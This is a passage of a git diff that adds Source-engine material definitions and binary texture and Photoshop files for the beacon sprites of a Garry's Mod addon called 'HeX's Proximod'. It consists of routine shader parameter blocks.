PROXI_INCLUDED_AT_LEAST_ONCE = true +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt new file mode 100644 index 0000000..4396bf6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vtf new file mode 100644 index 0000000..be0b5a8 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vmt new file mode 100644 index 0000000..cb5d0bd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vtf new file mode 100644 index 0000000..3307b49 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt new file mode 100644 index 0000000..e0cb08d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle_antinoy" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vtf new file mode 100644 index 0000000..af1750a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt new file mode 100644 index 0000000..b1232ff --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_antinoy_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vtf new file mode 100644 index 0000000..cf3c1b6 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vmt new file mode 100644 index 0000000..5127cdb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle_antishade" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vtf new file mode 100644 index 0000000..2a68ce7 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vmt new file mode 100644 index 0000000..997f008 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_antishade_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vtf new file mode 100644 index 0000000..506aec7 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antishade_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vmt new file mode 100644 index 0000000..a1d6c91 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle_shade" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vtf new file mode 100644 index 0000000..5585012 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt new file mode 100644 index 0000000..a670907 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_shade_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vtf new file mode 100644 index 0000000..dde5997 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_shade_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vmt new file mode 100644 index 0000000..cfbca3e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_circle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vtf new file mode 100644 index 0000000..1266c58 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt new file mode 100644 index 0000000..c8c3a11 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_circle_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vtf new file mode 100644 index 0000000..c3a8967 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt new file mode 100644 index 0000000..1c278ee --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_circle_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vtf new file mode 100644 index 0000000..10dd0ec Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circlestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circlestyle.psd new file mode 100644 index 0000000..9250070 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circlestyle.psd differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt new file mode 100644 index 0000000..657f415 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_cone" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vtf new file mode 100644 index 0000000..5d47c75 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt new file mode 100644 index 0000000..3f82475 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_cone_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vtf new file mode 100644 index 0000000..1e5bf7b Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt new file mode 100644 index 0000000..b8358c4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_cone_rev" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vtf new file mode 100644 index 0000000..08783f6 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vmt new file mode 100644 index 0000000..ff1e20d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_cone_rev_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vtf new file mode 100644 index 0000000..8d2a6f4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_conestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_conestyle.psd new file mode 100644 index 0000000..892b148 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_conestyle.psd differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.psd new file mode 100644 index 0000000..d012ab7 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.psd differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vmt new file mode 100644 index 0000000..c5ca0a4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_cross" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vtf new file mode 100644 index 0000000..9f706aa Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cross.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt new file mode 100644 index 0000000..19771f8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_flare" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vtf new file mode 100644 index 0000000..d231d26 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt new file mode 100644 index 0000000..2307403 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_flare_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vtf new file mode 100644 index 0000000..3ea37cc Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt new file mode 100644 index 0000000..a3b1786 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_4" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vtf new file mode 100644 index 0000000..09c9e7b Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt new file mode 100644 index 0000000..26e2249 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_4_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vtf new file mode 100644 index 0000000..f8b56f4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vmt new file mode 100644 index 0000000..20075ba --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_8" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vtf new file mode 100644 index 0000000..57f4ab1 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt new file mode 100644 index 0000000..58a2a31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_8_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vtf new file mode 100644 index 0000000..5752ebd Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_squarestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_squarestyle.psd new file mode 100644 index 0000000..0d2f060 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_squarestyle.psd differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vmt new file mode 100644 index 0000000..e62edf6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_stickhorizontal" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vtf new file mode 100644 index 0000000..81322ce Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickhorizontal.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt new file mode 100644 index 0000000..bbc16f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_stickvertical" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vtf new file mode 100644 index 0000000..4e1e5cd Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.psd 